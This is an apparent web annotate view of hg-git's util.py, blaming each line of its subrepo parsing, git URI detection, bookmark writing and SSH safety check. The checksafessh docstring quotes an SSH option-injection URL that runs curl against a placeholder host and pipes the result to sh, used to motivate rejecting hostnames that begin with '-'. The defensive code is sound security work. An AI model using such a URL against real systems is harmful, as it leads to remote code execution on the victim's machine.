annotate hggit/util.py @ 1144:c9ba526e82d6 default tip master

Added signature for changeset c651bb6fcf33
author Kevin Bullock <kbullock@ringworld.org>
date Sun, 14 Oct 2018 21:43:45 -0500
parents 6141895a53c9
children
Ignore whitespace changes - Everywhere: Within whitespace: At end of lines:
rev   line source
779
a951b04338e1 hgrepo: move _transform_notgit into util
Siddharth Agarwal <sid0@fb.com>
parents: 686
diff changeset
1 """Compatibility functions for old Mercurial versions and other utility
a951b04338e1 hgrepo: move _transform_notgit into util
Siddharth Agarwal <sid0@fb.com>
parents: 686
diff changeset
2 functions."""
919
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
3 import re
1042
b4d2180739bb ssh: avoid SSH command-line injection [SEC]
Sean Farley <sean@farley.io>
parents: 1024
diff changeset
4 import urllib
919
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
5
479
5c1d4311440d submodules: only use the ordereddict backport if collections.OrderedDict is unavailable
Augie Fackler <raf@durin42.com>
parents: 476
diff changeset
6 try:
5c1d4311440d submodules: only use the ordereddict backport if collections.OrderedDict is unavailable
Augie Fackler <raf@durin42.com>
parents: 476
diff changeset
7 from collections import OrderedDict
5c1d4311440d submodules: only use the ordereddict backport if collections.OrderedDict is unavailable
Augie Fackler <raf@durin42.com>
parents: 476
diff changeset
8 except ImportError:
5c1d4311440d submodules: only use the ordereddict backport if collections.OrderedDict is unavailable
Augie Fackler <raf@durin42.com>
parents: 476
diff changeset
9 from ordereddict import OrderedDict
320
6eded2e4c616 Un-break hg 1.3 by adding a compat layer for progress.
Augie Fackler <durin42@gmail.com>
parents:
diff changeset
10
979
a3da45923700 util: regularize mercurial imports
Sean Farley <sean@farley.io>
parents: 919
diff changeset
11 from dulwich import errors
1042
b4d2180739bb ssh: avoid SSH command-line injection [SEC]
Sean Farley <sean@farley.io>
parents: 1024
diff changeset
12 from mercurial.i18n import _
979
a3da45923700 util: regularize mercurial imports
Sean Farley <sean@farley.io>
parents: 919
diff changeset
13 from mercurial import (
1042
b4d2180739bb ssh: avoid SSH command-line injection [SEC]
Sean Farley <sean@farley.io>
parents: 1024
diff changeset
14 error,
980
0b957c2d151a util: add method for writing bookmarks
Sean Farley <sean@farley.io>
parents: 979
diff changeset
15 lock as lockmod,
979
a3da45923700 util: regularize mercurial imports
Sean Farley <sean@farley.io>
parents: 919
diff changeset
16 util as hgutil,
a3da45923700 util: regularize mercurial imports
Sean Farley <sean@farley.io>
parents: 919
diff changeset
17 )
a3da45923700 util: regularize mercurial imports
Sean Farley <sean@farley.io>
parents: 919
diff changeset
18
919
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
19 gitschemes = ('git', 'git+ssh', 'git+http', 'git+https')
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
20
1115
8ed6c0cae9b8 cleanup: add some blank lines
Sean Farley <sean@farley.io>
parents: 1109
diff changeset
21
476
b9ede5f91701 Subrepos: generate .hgsubstate and .hgsub based on gitlinks and .gitmodules, preserve gitlinks on hg commit export. Tests included. Dependency from PyPI's ordereddict to use OrderedDict
Artem Tikhomirov <tikhomirov.artem@gmail.com>
parents: 320
diff changeset
22 def parse_hgsub(lines):
b9ede5f91701 Subrepos: generate .hgsubstate and .hgsub based on gitlinks and .gitmodules, preserve gitlinks on hg commit export. Tests included. Dependency from PyPI's ordereddict to use OrderedDict
Artem Tikhomirov <tikhomirov.artem@gmail.com>
parents: 320
diff changeset
23 """Fills OrderedDict with hgsub file content passed as list of lines"""
479
5c1d4311440d submodules: only use the ordereddict backport if collections.OrderedDict is unavailable
Augie Fackler <raf@durin42.com>
parents: 476
diff changeset
24 rv = OrderedDict()
476
b9ede5f91701 Subrepos: generate .hgsubstate and .hgsub based on gitlinks and .gitmodules, preserve gitlinks on hg commit export. Tests included. Dependency from PyPI's ordereddict to use OrderedDict
Artem Tikhomirov <tikhomirov.artem@gmail.com>
parents: 320
diff changeset
25 for l in lines:
891
29a0bf3e6d3b util: flake8 cleanup
Sean Farley <sean@farley.io>
parents: 842
diff changeset
26 ls = l.strip()
29a0bf3e6d3b util: flake8 cleanup
Sean Farley <sean@farley.io>
parents: 842
diff changeset
27 if not ls or ls[0] == '#':
29a0bf3e6d3b util: flake8 cleanup
Sean Farley <sean@farley.io>
parents: 842
diff changeset
28 continue
476
b9ede5f91701 Subrepos: generate .hgsubstate and .hgsub based on gitlinks and .gitmodules, preserve gitlinks on hg commit export. Tests included. Dependency from PyPI's ordereddict to use OrderedDict
Artem Tikhomirov <tikhomirov.artem@gmail.com>
parents: 320
diff changeset
29 name, value = l.split('=', 1)
b9ede5f91701 Subrepos: generate .hgsubstate and .hgsub based on gitlinks and .gitmodules, preserve gitlinks on hg commit export. Tests included. Dependency from PyPI's ordereddict to use OrderedDict
Artem Tikhomirov <tikhomirov.artem@gmail.com>
parents: 320
diff changeset
30 rv[name.strip()] = value.strip()
b9ede5f91701 Subrepos: generate .hgsubstate and .hgsub based on gitlinks and .gitmodules, preserve gitlinks on hg commit export. Tests included. Dependency from PyPI's ordereddict to use OrderedDict
Artem Tikhomirov <tikhomirov.artem@gmail.com>
parents: 320
diff changeset
31 return rv
b9ede5f91701 Subrepos: generate .hgsubstate and .hgsub based on gitlinks and .gitmodules, preserve gitlinks on hg commit export. Tests included. Dependency from PyPI's ordereddict to use OrderedDict
Artem Tikhomirov <tikhomirov.artem@gmail.com>
parents: 320
diff changeset
32
1115
8ed6c0cae9b8 cleanup: add some blank lines
Sean Farley <sean@farley.io>
parents: 1109
diff changeset
33
476
b9ede5f91701 Subrepos: generate .hgsubstate and .hgsub based on gitlinks and .gitmodules, preserve gitlinks on hg commit export. Tests included. Dependency from PyPI's ordereddict to use OrderedDict
Artem Tikhomirov <tikhomirov.artem@gmail.com>
parents: 320
diff changeset
34 def serialize_hgsub(data):
b9ede5f91701 Subrepos: generate .hgsubstate and .hgsub based on gitlinks and .gitmodules, preserve gitlinks on hg commit export. Tests included. Dependency from PyPI's ordereddict to use OrderedDict
Artem Tikhomirov <tikhomirov.artem@gmail.com>
parents: 320
diff changeset
35 """Produces a string from OrderedDict hgsub content"""
891
29a0bf3e6d3b util: flake8 cleanup
Sean Farley <sean@farley.io>
parents: 842
diff changeset
36 return ''.join(['%s = %s\n' % (n, v) for n, v in data.iteritems()])
476
b9ede5f91701 Subrepos: generate .hgsubstate and .hgsub based on gitlinks and .gitmodules, preserve gitlinks on hg commit export. Tests included. Dependency from PyPI's ordereddict to use OrderedDict
Artem Tikhomirov <tikhomirov.artem@gmail.com>
parents: 320
diff changeset
37
1115
8ed6c0cae9b8 cleanup: add some blank lines
Sean Farley <sean@farley.io>
parents: 1109
diff changeset
38
476
b9ede5f91701 Subrepos: generate .hgsubstate and .hgsub based on gitlinks and .gitmodules, preserve gitlinks on hg commit export. Tests included. Dependency from PyPI's ordereddict to use OrderedDict
Artem Tikhomirov <tikhomirov.artem@gmail.com>
parents: 320
diff changeset
39 def parse_hgsubstate(lines):
b9ede5f91701 Subrepos: generate .hgsubstate and .hgsub based on gitlinks and .gitmodules, preserve gitlinks on hg commit export. Tests included. Dependency from PyPI's ordereddict to use OrderedDict
Artem Tikhomirov <tikhomirov.artem@gmail.com>
parents: 320
diff changeset
40 """Fills OrderedDict with hgsubtate file content passed as list of lines"""
479
5c1d4311440d submodules: only use the ordereddict backport if collections.OrderedDict is unavailable
Augie Fackler <raf@durin42.com>
parents: 476
diff changeset
41 rv = OrderedDict()
476
b9ede5f91701 Subrepos: generate .hgsubstate and .hgsub based on gitlinks and .gitmodules, preserve gitlinks on hg commit export. Tests included. Dependency from PyPI's ordereddict to use OrderedDict
Artem Tikhomirov <tikhomirov.artem@gmail.com>
parents: 320
diff changeset
42 for l in lines:
891
29a0bf3e6d3b util: flake8 cleanup
Sean Farley <sean@farley.io>
parents: 842
diff changeset
43 ls = l.strip()
29a0bf3e6d3b util: flake8 cleanup
Sean Farley <sean@farley.io>
parents: 842
diff changeset
44 if not ls or ls[0] == '#':
29a0bf3e6d3b util: flake8 cleanup
Sean Farley <sean@farley.io>
parents: 842
diff changeset
45 continue
476
b9ede5f91701 Subrepos: generate .hgsubstate and .hgsub based on gitlinks and .gitmodules, preserve gitlinks on hg commit export. Tests included. Dependency from PyPI's ordereddict to use OrderedDict
Artem Tikhomirov <tikhomirov.artem@gmail.com>
parents: 320
diff changeset
46 value, name = l.split(' ', 1)
b9ede5f91701 Subrepos: generate .hgsubstate and .hgsub based on gitlinks and .gitmodules, preserve gitlinks on hg commit export. Tests included. Dependency from PyPI's ordereddict to use OrderedDict
Artem Tikhomirov <tikhomirov.artem@gmail.com>
parents: 320
diff changeset
47 rv[name.strip()] = value.strip()
b9ede5f91701 Subrepos: generate .hgsubstate and .hgsub based on gitlinks and .gitmodules, preserve gitlinks on hg commit export. Tests included. Dependency from PyPI's ordereddict to use OrderedDict
Artem Tikhomirov <tikhomirov.artem@gmail.com>
parents: 320
diff changeset
48 return rv
b9ede5f91701 Subrepos: generate .hgsubstate and .hgsub based on gitlinks and .gitmodules, preserve gitlinks on hg commit export. Tests included. Dependency from PyPI's ordereddict to use OrderedDict
Artem Tikhomirov <tikhomirov.artem@gmail.com>
parents: 320
diff changeset
49
1115
8ed6c0cae9b8 cleanup: add some blank lines
Sean Farley <sean@farley.io>
parents: 1109
diff changeset
50
476
b9ede5f91701 Subrepos: generate .hgsubstate and .hgsub based on gitlinks and .gitmodules, preserve gitlinks on hg commit export. Tests included. Dependency from PyPI's ordereddict to use OrderedDict
Artem Tikhomirov <tikhomirov.artem@gmail.com>
parents: 320
diff changeset
51 def serialize_hgsubstate(data):
b9ede5f91701 Subrepos: generate .hgsubstate and .hgsub based on gitlinks and .gitmodules, preserve gitlinks on hg commit export. Tests included. Dependency from PyPI's ordereddict to use OrderedDict
Artem Tikhomirov <tikhomirov.artem@gmail.com>
parents: 320
diff changeset
52 """Produces a string from OrderedDict hgsubstate content"""
b9ede5f91701 Subrepos: generate .hgsubstate and .hgsub based on gitlinks and .gitmodules, preserve gitlinks on hg commit export. Tests included. Dependency from PyPI's ordereddict to use OrderedDict
Artem Tikhomirov <tikhomirov.artem@gmail.com>
parents: 320
diff changeset
53 return ''.join(['%s %s\n' % (data[n], n) for n in sorted(data)])
779
a951b04338e1 hgrepo: move _transform_notgit into util
Siddharth Agarwal <sid0@fb.com>
parents: 686
diff changeset
54
1115
8ed6c0cae9b8 cleanup: add some blank lines
Sean Farley <sean@farley.io>
parents: 1109
diff changeset
55
779
a951b04338e1 hgrepo: move _transform_notgit into util
Siddharth Agarwal <sid0@fb.com>
parents: 686
diff changeset
56 def transform_notgit(f):
891
29a0bf3e6d3b util: flake8 cleanup
Sean Farley <sean@farley.io>
parents: 842
diff changeset
57 '''use as a decorator around functions that call into dulwich'''
779
a951b04338e1 hgrepo: move _transform_notgit into util
Siddharth Agarwal <sid0@fb.com>
parents: 686
diff changeset
58 def inner(*args, **kwargs):
a951b04338e1 hgrepo: move _transform_notgit into util
Siddharth Agarwal <sid0@fb.com>
parents: 686
diff changeset
59 try:
a951b04338e1 hgrepo: move _transform_notgit into util
Siddharth Agarwal <sid0@fb.com>
parents: 686
diff changeset
60 return f(*args, **kwargs)
a951b04338e1 hgrepo: move _transform_notgit into util
Siddharth Agarwal <sid0@fb.com>
parents: 686
diff changeset
61 except errors.NotGitRepository:
1128
6141895a53c9 compat: switch from hgutil.Abort to error.Abort
Kevin Bullock <kbullock@ringworld.org>
parents: 1115
diff changeset
62 raise error.Abort('not a git repository')
779
a951b04338e1 hgrepo: move _transform_notgit into util
Siddharth Agarwal <sid0@fb.com>
parents: 686
diff changeset
63 return inner
919
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
64
1115
8ed6c0cae9b8 cleanup: add some blank lines
Sean Farley <sean@farley.io>
parents: 1109
diff changeset
65
919
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
66 def isgitsshuri(uri):
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
67 """Method that returns True if a uri looks like git-style uri
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
68
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
69 Tests:
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
70
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
71 >>> print isgitsshuri('http://fqdn.com/hg')
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
72 False
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
73 >>> print isgitsshuri('http://fqdn.com/test.git')
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
74 False
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
75 >>> print isgitsshuri('git@github.com:user/repo.git')
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
76 True
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
77 >>> print isgitsshuri('github-123.com:user/repo.git')
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
78 True
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
79 >>> print isgitsshuri('git@127.0.0.1:repo.git')
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
80 True
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
81 >>> print isgitsshuri('git@[2001:db8::1]:repository.git')
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
82 True
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
83 """
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
84 for scheme in gitschemes:
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
85 if uri.startswith('%s://' % scheme):
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
86 return False
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
87
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
88 if uri.startswith('http:') or uri.startswith('https:'):
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
89 return False
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
90
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
91 m = re.match(r'(?:.+@)*([\[]?[\w\d\.\:\-]+[\]]?):(.*)', uri)
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
92 if m:
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
93 # here we're being fairly conservative about what we consider to be git
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
94 # urls
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
95 giturl, repopath = m.groups()
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
96 # definitely a git repo
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
97 if repopath.endswith('.git'):
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
98 return True
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
99 # use a simple regex to check if it is a fqdn regex
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
100 fqdn_re = (r'(?=^.{4,253}$)(^((?!-)[a-zA-Z0-9-]{1,63}'
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
101 r'(?<!-)\.)+[a-zA-Z]{2,63}$)')
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
102 if re.match(fqdn_re, giturl):
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
103 return True
6507d2a6be0a util: add heuristic method to determine if a uri is git
Sean Farley <sean@farley.io>
parents: 891
diff changeset
104 return False
980
0b957c2d151a util: add method for writing bookmarks
Sean Farley <sean@farley.io>
parents: 979
diff changeset
105
1115
8ed6c0cae9b8 cleanup: add some blank lines
Sean Farley <sean@farley.io>
parents: 1109
diff changeset
106
1024
078c3912afce bookmarks: compatibility with new applychanges api
Ryan McElroy <rmcelroy@fb.com>
parents: 980
diff changeset
107 def updatebookmarks(repo, changes, name='git_handler'):
980
0b957c2d151a util: add method for writing bookmarks
Sean Farley <sean@farley.io>
parents: 979
diff changeset
108 """abstract writing bookmarks for backwards compatibility"""
1024
078c3912afce bookmarks: compatibility with new applychanges api
Ryan McElroy <rmcelroy@fb.com>
parents: 980
diff changeset
109 bms = repo._bookmarks
980
0b957c2d151a util: add method for writing bookmarks
Sean Farley <sean@farley.io>
parents: 979
diff changeset
110 tr = lock = wlock = None
0b957c2d151a util: add method for writing bookmarks
Sean Farley <sean@farley.io>
parents: 979
diff changeset
111 try:
0b957c2d151a util: add method for writing bookmarks
Sean Farley <sean@farley.io>
parents: 979
diff changeset
112 wlock = repo.wlock()
0b957c2d151a util: add method for writing bookmarks
Sean Farley <sean@farley.io>
parents: 979
diff changeset
113 lock = repo.lock()
0b957c2d151a util: add method for writing bookmarks
Sean Farley <sean@farley.io>
parents: 979
diff changeset
114 tr = repo.transaction(name)
1024
078c3912afce bookmarks: compatibility with new applychanges api
Ryan McElroy <rmcelroy@fb.com>
parents: 980
diff changeset
115 if hgutil.safehasattr(bms, 'applychanges'):
078c3912afce bookmarks: compatibility with new applychanges api
Ryan McElroy <rmcelroy@fb.com>
parents: 980
diff changeset
116 # applychanges was added in mercurial 4.3
078c3912afce bookmarks: compatibility with new applychanges api
Ryan McElroy <rmcelroy@fb.com>
parents: 980
diff changeset
117 bms.applychanges(repo, tr, changes)
980
0b957c2d151a util: add method for writing bookmarks
Sean Farley <sean@farley.io>
parents: 979
diff changeset
118 else:
1024
078c3912afce bookmarks: compatibility with new applychanges api
Ryan McElroy <rmcelroy@fb.com>
parents: 980
diff changeset
119 for name, node in changes:
078c3912afce bookmarks: compatibility with new applychanges api
Ryan McElroy <rmcelroy@fb.com>
parents: 980
diff changeset
120 if node is None:
078c3912afce bookmarks: compatibility with new applychanges api
Ryan McElroy <rmcelroy@fb.com>
parents: 980
diff changeset
121 del bms[name]
078c3912afce bookmarks: compatibility with new applychanges api
Ryan McElroy <rmcelroy@fb.com>
parents: 980
diff changeset
122 else:
078c3912afce bookmarks: compatibility with new applychanges api
Ryan McElroy <rmcelroy@fb.com>
parents: 980
diff changeset
123 bms[name] = node
078c3912afce bookmarks: compatibility with new applychanges api
Ryan McElroy <rmcelroy@fb.com>
parents: 980
diff changeset
124 if hgutil.safehasattr(bms, 'recordchange'):
078c3912afce bookmarks: compatibility with new applychanges api
Ryan McElroy <rmcelroy@fb.com>
parents: 980
diff changeset
125 # recordchange was added in mercurial 3.2
078c3912afce bookmarks: compatibility with new applychanges api
Ryan McElroy <rmcelroy@fb.com>
parents: 980
diff changeset
126 bms.recordchange(tr)
078c3912afce bookmarks: compatibility with new applychanges api
Ryan McElroy <rmcelroy@fb.com>
parents: 980
diff changeset
127 else:
078c3912afce bookmarks: compatibility with new applychanges api
Ryan McElroy <rmcelroy@fb.com>
parents: 980
diff changeset
128 bms.write()
980
0b957c2d151a util: add method for writing bookmarks
Sean Farley <sean@farley.io>
parents: 979
diff changeset
129 tr.close()
0b957c2d151a util: add method for writing bookmarks
Sean Farley <sean@farley.io>
parents: 979
diff changeset
130 finally:
0b957c2d151a util: add method for writing bookmarks
Sean Farley <sean@farley.io>
parents: 979
diff changeset
131 lockmod.release(tr, lock, wlock)
1042
b4d2180739bb ssh: avoid SSH command-line injection [SEC]
Sean Farley <sean@farley.io>
parents: 1024
diff changeset
132
1115
8ed6c0cae9b8 cleanup: add some blank lines
Sean Farley <sean@farley.io>
parents: 1109
diff changeset
133
1042
b4d2180739bb ssh: avoid SSH command-line injection [SEC]
Sean Farley <sean@farley.io>
parents: 1024
diff changeset
134 def checksafessh(host):
b4d2180739bb ssh: avoid SSH command-line injection [SEC]
Sean Farley <sean@farley.io>
parents: 1024
diff changeset
135 """check if a hostname is a potentially unsafe ssh exploit (SEC)
b4d2180739bb ssh: avoid SSH command-line injection [SEC]
Sean Farley <sean@farley.io>
parents: 1024
diff changeset
136
b4d2180739bb ssh: avoid SSH command-line injection [SEC]
Sean Farley <sean@farley.io>
parents: 1024
diff changeset
137 This is a sanity check for ssh urls. ssh will parse the first item as
b4d2180739bb ssh: avoid SSH command-line injection [SEC]
Sean Farley <sean@farley.io>
parents: 1024
diff changeset
138 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
b4d2180739bb ssh: avoid SSH command-line injection [SEC]
Sean Farley <sean@farley.io>
parents: 1024
diff changeset
139 Let's prevent these potentially exploited urls entirely and warn the
b4d2180739bb ssh: avoid SSH command-line injection [SEC]
Sean Farley <sean@farley.io>
parents: 1024
diff changeset
140 user.
b4d2180739bb ssh: avoid SSH command-line injection [SEC]
Sean Farley <sean@farley.io>
parents: 1024
diff changeset
141
b4d2180739bb ssh: avoid SSH command-line injection [SEC]
Sean Farley <sean@farley.io>
parents: 1024
diff changeset
142 Raises an error.Abort when the url is unsafe.
b4d2180739bb ssh: avoid SSH command-line injection [SEC]
Sean Farley <sean@farley.io>
parents: 1024
diff changeset
143 """
b4d2180739bb ssh: avoid SSH command-line injection [SEC]
Sean Farley <sean@farley.io>
parents: 1024
diff changeset
144 host = urllib.unquote(host)
1044
c35751c248c3 ssh: unban the use of pipe character in hostname
Kevin Bullock <kbullock@ringworld.org>
parents: 1042
diff changeset
145 if host.startswith('-'):
1042
b4d2180739bb ssh: avoid SSH command-line injection [SEC]
Sean Farley <sean@farley.io>
parents: 1024
diff changeset
146 raise error.Abort(_('potentially unsafe hostname: %r') %
b4d2180739bb ssh: avoid SSH command-line injection [SEC]
Sean Farley <sean@farley.io>
parents: 1024
diff changeset
147 (host,))